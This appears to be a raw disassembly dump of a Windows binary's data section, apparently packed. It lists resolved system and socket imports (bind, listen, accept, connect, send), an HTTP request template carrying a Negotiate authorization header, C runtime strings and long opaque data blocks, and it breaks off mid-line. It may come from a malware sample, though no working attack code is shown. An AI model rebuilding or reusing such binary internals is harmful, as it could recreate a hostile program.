7C80929Ch ; resolved to->KERNEL32.GetTickCount ; .nsp0:00401C13r ... dd 7C80A427h, 7C82FA46h, 7C814EEAh dword_41D058 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_408E17+Dr ... dword_41D05C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_4032B0+19Cr ... dd 7C80B4CFh, 7C83632Dh, 7C8361EEh dword_41D06C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; .nsp0:loc_405A04r ... dword_41D070 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; .nsp0:004059D6r ... dword_41D074 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_407C23+68o ... dd 7C810A77h dword_41D07C dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_405084+25r ... dword_41D080 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; .nsp0:00409C99r ... dd 7C80EDD7h, 7C80E7ECh, 7C80E866h dword_41D090 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_404A02+5D7r ... dword_41D094 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_406774+26r dword_41D098 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; .nsp0:00408637r ... dword_41D09C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_41844F+4Fr dword_41D0A0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41D0A4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_41D0A8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D0AC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_405FF1+22Fr dword_41D0B0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4068C6:loc_406DB6r ... dword_41D0B4 dd 3E7574h ; sub_4167BF+16o ... dword_41D0B8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h dword_41D0C0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_41D0C4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh dd 7C81AE17h, 7C85F90Fh dd 7C80DDF5h dd 7C81E0C7h dword_41D100 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; .nsp0:00410F4Cr dd 7C8310F2h dword_41D108 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; .nsp0:00409AE5r ... dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh dword_41D12C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; .nsp0:0041884Er ... dword_41D130 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4142C9+54r ... dd 7C8216A4h, 7C801E16h dword_41D13C dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C830B14h dword_41D144 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_413D8F+AFr ... dword_41D148 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4153F8+2C4r ... dword_41D14C dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh dword_41D158 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_415A2C+28r dd 7C801EEEh, 7C812F1Dh dword_41D164 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_41D168 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41D16C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41D170 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41D174 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_415ADD+51r dd 7C809E79h dword_41D17C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_41CAD9+2Er dword_41D180 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h dword_41D188 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; .nsp0:0041878Er ... dd 7C812E76h, 7C809915h, 7C8127A7h dword_41D198 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h dword_41D1A0 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW align 8 dword_41D1A8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4040DB+8Er dword_41D1AC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40405E+15r dword_41D1B0 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_41D1B4 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41D1B8 dd 71AB3E00h ; resolved to->WS2_32.binddword_41D1BC dd 71AB88D3h ; resolved to->WS2_32.listendword_41D1C0 dd 71AC1028h ; resolved to->WS2_32.acceptdword_41D1C4 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40405E+35r dword_41D1C8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403A5B+B3r ... dword_41D1CC dd 71AB406Ah ; resolved to->WS2_32.connect ; .nsp0:004039E4r ... dword_41D1D0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_403A5B+1F0r dword_41D1D4 dd 71AB9639h ; resolved to->WS2_32.closesocket ; .nsp0:loc_403A0Br ... dword_41D1D8 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_4038B1+45r ... dword_41D1DC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4038B1+C3r ... dword_41D1E0 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_403A5B+115r dword_41D1E4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4031F5+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_41D230 dq 1.388888888888889e-2 ; DATA XREF: sub_403007+2Fr dbl_41D238 dq 1.666666666666667e-1 ; DATA XREF: sub_403007+15r dword_41D240 dd 0FFFFFFFFh ; sub_4034C7r ... align 8 dbl_41D248 dq 1.333333333333333 ; DATA XREF: sub_403053+79r dword_41D250 dd 0 ; sub_403577+5Bo ... dword_41D254 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_41D658 dq 9.765625e-4 ; DATA XREF: .nsp0:00409418r ; .nsp0:00409433r ... dbl_41D660 dq -3.0517578125e-5 ; DATA XREF: sub_410D3D+1Er dbl_41D668 dq 1.0 ; DATA XREF: sub_412842+6Cr ; sub_41298B+6Cr ... dword_41D670 dd 0FFFFFFFFh, 41449Fh, 4144B3hbyte_41D67C db 6 ; DATA XREF: sub_41461C:loc_414673r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_4314ACo unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_4314A8o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_4316D4o align 8 dbl_41D7A8 dq 0.0 ; DATA XREF: sub_41626C+8Cr ; sub_41626C+ACr ... dbl_41D7B0 dq 4.195835e6 ; DATA XREF: sub_416781+Fr dbl_41D7B8 dq 3.145727e6 ; DATA XREF: sub_416781+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4167BFo align 4 aE000 db 'e+000',0 ; DATA XREF: sub_4168E6+93o align 10h dword_41D7F0 dd 0FFFFFFFFh, 416FD1h, 416FDBh, 0dword_41D800 dd 0FFFFFFFFh, 0 dd offset loc_417157 align 10h dd offset sub_417135 dd offset sub_41713F dword_41D818 dd 0FFFFFFFFh, 417387h, 41738Bh, 0dword_41D828 dd 0FFFFFFFFh, 4173E9h, 4173F2h, 0dword_41D838 dd 0FFFFFFFFh, 0 dd offset loc_4174BD align 8 dd offset loc_4174A9 dd offset loc_4174AD dword_41D850 dd 0FFFFFFFFh, 0 dd offset loc_417513 align 10h dd offset loc_4174FF dd offset loc_417503 dword_41D868 dd 2 dup(0) ; .nsp0:00419AFDo ... dword_41D870 dd 0FFFFFFFFh, 418751h, 418755h, 0FFFFFFFFh, 418805h, 418809h ; DATA XREF: .nsp0:00418646o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_431B1Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_419639+119o align 4 asc_41DB38 db 0Ah ; DATA XREF: sub_419639+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_419639+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_419639+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_419639+7Do align 8 dword_41DB78 dd 0FFFFFFFFh, 419BBDh, 419BC1haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41AA32+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41AFBE+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41AFBE+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41AFBE+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41B8D4:loc_41B9C9o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_41B8D4+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_41B8D4+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_41B8D4+ADo align 4 dword_41DC18 dd 0FFFFFFFFh, 41C2CCh, 41C2D0h, 0FFFFFFFFh, 41C33Bh, 41C33Fh ; DATA XREF: sub_41C115+5o dd 41DD38h off_41DC34 dd offset loc_41C878 ; DATA XREF: sub_41C680+4Do ; sub_41C894+Co dd offset sub_41C73E dd offset sub_41C85B aStringTooLong db 'string too long',0 ; DATA XREF: sub_41C680+1Eo dd offset dword_41DD70 off_41DC54 dd offset loc_41C7A5 ; DATA XREF: sub_41C6DA+4Eo ; sub_41C768+11o ... dd offset sub_41C73E dd offset sub_41C74B dd offset dword_41DDC0 off_41DC64 dd offset loc_41C960 ; DATA XREF: sub_41C8AC+4Do ; sub_41C97C+Co dd offset sub_41C73E dd offset sub_41C943 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41C8AC+1Eo dd offset dword_41DDF0 off_41DC8C dd offset sub_41C9E2 ; DATA XREF: sub_41C9FE+8o ; sub_41CA3B+8o ... ; --------------------------------------------------------------------------- wait retf 41h ; --------------------------------------------------------------------------- aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .nsp0:0041CAA2o align 4 dd offset dword_41DE38 off_41DCAC dd offset loc_41CABD ; DATA XREF: sub_41CAA8o ; .nsp0:off_432240o ... dword_41DCB0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_41DCD0 dd offset off_432240 ; DATA XREF: .nsp0:0041DD20o ; .nsp0:0041DD54o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_41DCE8 dd offset off_432258 ; DATA XREF: .nsp0:0041DD1Co ; .nsp0:0041DD50o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_41DD00 dd offset off_432278 ; DATA XREF: .nsp0:0041DD18o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41DD00 dd offset off_41DCE8 dd offset off_41DCD0 dd 0 db 0 ; DATA XREF: .nsp0:0041DD48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 41DD18h, 3 dup(0) dd offset off_432278 dd offset unk_41DD28 align 10h dd offset off_41DCE8 dd offset off_41DCD0 dword_41DD58 dd 4 dup(0) dd 2, 41DD50h dword_41DD70 dd 3 dup(0) dd offset off_432258 dd offset dword_41DD58+8 align 8 off_41DD88 dd offset off_432298 ; DATA XREF: .nsp0:0041DDA0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41DD88 dd offset off_41DCE8 dd offset off_41DCD0 dword_41DDAC dd 3 dup(0) dd 3, 41DDA0h dword_41DDC0 dd 3 dup(0) dd offset off_432298 dd offset dword_41DDAC+4 dd offset off_41DCD0 dword_41DDD8 dd 4 dup(0) dd 1, 41DDD4h dword_41DDF0 dd 3 dup(0) dd offset off_432240 dd offset dword_41DDD8+8 align 8 off_41DE08 dd offset off_4322B8 ; DATA XREF: .nsp0:0041DE20o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_41DE08 dd 0 db 0 ; DATA XREF: .nsp0:0041DE48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 41DE20h dword_41DE38 dd 3 dup(0) dd offset off_4322B8 dd offset unk_41DE28 align 10h dword_41DE50 dd 19930520h, 2, 41DE70h, 5 dup(0) dd 0FFFFFFFFh, 41CB1Ch, 0 dd offset sub_41CB14 dword_41DE80 dd 19930520h, 2, 41DEA0h, 5 dup(0) dd 0FFFFFFFFh, 41CB40h, 0 ; --------------------------------------------------------------------------- dec eax retf ; --------------------------------------------------------------------------- dw 41h dword_41DEB0 dd 19930520h, 2, 41DED0h, 1, 41DEE0h, 3 dup(0) ; DATA XREF: .nsp0:loc_41CB5Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 41DEF8h, 4 dup(0) dd offset loc_4037E1 dd 0 dd offset off_432240 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 41CA3Bh, 2 dup(0) dd offset off_432258 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41C7C1h, 2 dup(0) dd offset off_432278 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41C894h, 0 dword_41DF68 dd 3, 41DF48h, 41DF28h, 41DF08hdword_41DF78 dd 0 ; sub_41C85B+12o dd offset sub_41C81E dd 0 dd offset dword_41DF68 dword_41DF88 dd 19930520h, 1, 41DFA8h, 5 dup(0) dd 0FFFFFFFFh, 41CB68h dword_41DFB0 dd 19930520h, 1, 41DFD0h, 5 dup(0)dword_41DFD0 dd 0FFFFFFFFh, 41CB7Ch, 2, 41DF28h, 41DF08h, 0dword_41DFE8 dd 0 dd offset sub_41C768 dd 0 dd offset dword_41DFD0+8 dword_41DFF8 dd 19930520h, 1, 41E018h, 5 dup(0) dd 0FFFFFFFFh, 41CB90h dword_41E020 dd 19930520h, 1, 41E040h, 5 dup(0) dd 0FFFFFFFFh, 41CBA4h dword_41E048 dd 19930520h, 1, 41E068h, 5 dup(0) dd 0FFFFFFFFh, 41CBB8h, 0 dd offset off_432298 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41C97Ch, 0 dword_41E090 dd 3, 41E070h, 41DF28h, 41DF08hdword_41E0A0 dd 0 ; sub_41C943+12o dd offset sub_41C906 dd 0 dd offset dword_41E090 dword_41E0B0 dd 19930520h, 1, 41E0D0h, 5 dup(0) dd 0FFFFFFFFh, 41CBCCh dword_41E0D8 dd 19930520h, 1, 41E0F8h, 5 dup(0) dd 0FFFFFFFFh, 41CBE0h, 1E2E4h, 2 dup(0) dd 1E328h, 1D1A8h, 1E13Ch, 2 dup(0) dd 1EAA0h, 1D000h, 5 dup(0) dd 548FF43Eh, 0FEAB4E08h, 66EDBF77h, 0EE6033Ah, 951B87B7h dd 6D917141h, 5135E09Bh, 2E430679h, 0ACC2095Ch, 592E00C8h dd 5E0FC609h, 0D3373CFAh, 4356C22Ah, 0F9191Dh, 8E2F0470h dd 0D620773Eh, 0F5F78BAh, 0A73C0CF8h, 0CCEAB145h, 0D2D05C38h dd 0E5339085h, 7B0303C6h, 0C12DF8DCh, 5B7131F9h, 82162AF3h dd 95E816E7h, 7123CA3Fh, 0F716399Eh, 5115708Dh, 299F7840h dd 7345509Ah, 0E8E148ABh, 0EB3318E8h, 5CADC41Bh, 0C19038C2h dd 52E0DC9Eh, 176D9ABCh, 0BDC63D29h, 5F00806Eh, 0FD9A8FE3h dd 67BFA40Eh, 3D7DCDFCh, 5FAB5E27h, 8DF641F0h, 77988F77h dd 0BB723190h, 0D9A6849Ah, 0BC50F8CCh, 0D92EC35Eh, 4223065Ch dd 93F13B3Bh, 3B98FAF7h, 0B1AFC769h, 3EBD5086h, 49F3323Fh dd 50CCDFF6h, 0D193EE69h, 2481A8B0h, 9061103Eh, 88789E96h dd 0D8D01743h, 0CBAC2680h, 4505F512h, 837FE471h, 0E28F9051h dd 16D301A8h, 0B5CCB85Bh, 28C59E04h, 90687CFh, 0B75D27EFh dd 0BA99DA8Dh, 0EE8E1DC5h, 0F8F484E0h, 42490003h, 0C6D22EF2h dd 0C669E758h, 80E5D10Fh, 0FC59189Ah, 4509C24Dh, 0A2A6DC6Ah dd 4395210Eh, 507079h, 6DDB8FEBh, 664B6F7Eh, 726FACBEh dd 0D966B751h, 47D593FEh, 88CD2998h, 91F1F9A0h, 477F4551h dd 5B53AE71h, 224F5809h, 0D98DC338h, 1194094h, 94A84ADh dd 98216963h, 643A7726h, 0DC05EAA2h, 0EA444DACh, 0E5D405EDh dd 1E93B8EAh, 94A03Ch, 0C102CCC9h, 10E1386h, 8703972h dd 0 dd 4D8B2E54h, 874C6Ch, 0BF1D92D9h, 4560BB50h, 0D539110Eh dd 0BFEB983Fh, 87F7F17Dh, 3967E6AAh, 7DDAE692h, 48EAFD0Fh dd 5DB00897h, 0F98A227Dh, 56769B40h, 0D386F6AFh, 0C58ABCDh dd 1A91C0AFh, 0 dd 0BE38ABFBh, 245398E6h, 0F580h, 1157007Eh, 0C4B14651h dd 1BA3CF32h, 16D0000h, 0A8B9A277h, 271279C7h, 0F08680CFh dd 2060000h, 15D601BFh, 0A0C57F66h, 2A81BD3Dh, 0D92620C3h dd 876298AEh, 0BED5FCh, 2B0B0207h, 0C2B5767Fh, 0AC0F9400h dd 52ABECEDh, 0FAE4h, 7DBD7F8h, 0BD7613h, 375C0159h, 0B467ADF9h dd 9DB78E4Fh, 7B2A2D17h, 4A002FC1h, 11B00B2h, 0ADC06E39h dd 0EA166F1Fh, 6F89A416h, 2960000h, 493B231Fh, 1240051h dd 0BA6FF927h, 66E70FB5h, 0DC422EBCh, 934080BCh, 921Eh dd 0B8D0016Eh, 841FD8F1h, 0BEECA219h, 7EA519B3h, 0FB0000h dd 5217778Ch, 595DD7B5h, 0DFE357C1h, 0F26Ah, 9FE8011Ah dd 32597950h, 8EA9689h, 0F6EDh, 0CCCA004Ah, 822DABFAh dd 0E52F6196h, 53EDh, 31A2001Bh, 27B8EE8Dh, 64AA57Ch, 11200B8h dd 361AD1B0h, 49FA8283h, 728D5Fh, 0A3640034h, 0C27CD43Bh dd 462B9FB3h, 10D0068h, 6027F4ADh, 0BDE1821h, 0FE0BFC44h dd 88BC7C6Ch, 76A7h, 35BB0090h, 7C30C637h, 0EE125Bh, 862C008Ah dd 4412BCA6h, 0E7169C5Ah, 0BA916A0Dh, 7CA47CEh, 0C653h dd 0E4C20089h, 2FECFD4Bh, 0D1CC74F8h, 6DEF8BD2h, 2712BCDFh dd 0AE13D4FEh, 9D00E7h, 741708ABh, 0BFE11482h, 7CDCC1B9h dd 940027h, 0CFA83CC9h, 8E2F521Dh, 9C7DCD1h, 9D17h, 0A4E70218h dd 81716668h, 0F65Fh, 73F2026Ah, 6D09756Bh, 0E6DF630Dh dd 55D6867Fh, 1C10000h, 8F1CAFE4h, 0AD457018h, 395B7DBFh dd 698AC4B2h, 7C873897h, 660000h, 474C722Eh, 827B546Fh dd 9C6E67CBh, 0BF1D272Ch, 100B5FE3h, 1AB0000h, 0FDAE8E4Dh dd 481F5742h, 0F9654ACCh, 685FE128h, 0ABDD7AD2h, 0FAFBF912h dd 0AD96BD13h, 92D2B385h, 6ADEEFA7h, 55002Ah, 693C3E23h dd 2164386Ah, 47458171h, 0AF971B80h, 157FCCA7h, 1C2004Bh dd 10AB5886h, 4CBB476Ah, 0C2CA14BDh, 13E0000h, 0E92B3DF5h dd 5B894E31h, 608E90D4h, 0D7B5h, 129C0126h, 0E49AFB69h dd 3E784ACCh, 7792BE36h, 24DAh, 0B59700AFh, 3321D11Bh dd 0A4F6DC45h, 0F0763599h, 1930000h, 24B4171Fh, 29C141Bh dd 6F6EF2A3h, 18C0000h, 0A5E564FEh, 56D0E9DFh, 0FAAFh dd 0B2F02B0h, 0D21CBF13h, 0B2EAD067h, 65F2B1FBh, 1D60041h dd 15274B1h, 0DED65781h, 0B3196696h, 3500F3h, 0EDBED479h dd 4AE7AA58h, 299D9DDBh, 77C42648h, 0D01Ah, 4A83026Ch dd 7FAB8B3Eh, 33880C57h, 11400B5h, 5C896F23h, 0CB80D0Ah dd 0DCE53Eh, 4120044h, 1F5F4865h, 2FA7EB3h, 4C6E83A4h dd 800000h, 0A800E3C6h, 0BF8387E3h, 0DB01705Dh, 0F5F4EBCDh dd 0E5D0B770h, 0A158448h, 2680044h, 86B297F3h, 0C3C1F857h dd 0EFD653CCh, 556DA962h, 0D1D9h, 0CDE802DFh, 4A145711h dd 9C03DDh, 74AD0165h, 99A7CB47h, 9385BF64h, 0D7F7h, 0BAF3010Bh dd 0CA45993h, 7224CE64h, 6D9BF5F8h, 0F01D3D27h, 1F90000h dd 0BEE4CF0Bh, 0E2A903BCh, 0AA857EEBh, 6300BCh, 4FD0A5DAh dd 721E740Dh, 4FA72498h, 44572Fh, 0E4D000F7h, 0B05F7B1Ah dd 0C09FC572h, 123FA4E3h, 0C716D5h, 0BF520043h, 0D8E346FDh dd 969C7907h, 1750000h, 0B23A7BECh, 0D44652C0h, 60EF8B2Ch dd 18D00BEh, 0D92B580Fh, 0F337CD95h, 5E355AB1h, 5DB0274Dh dd 0D42Ah, 9DC2007Dh, 0B55487EBh, 0BEDFA24Ch, 570006h dd 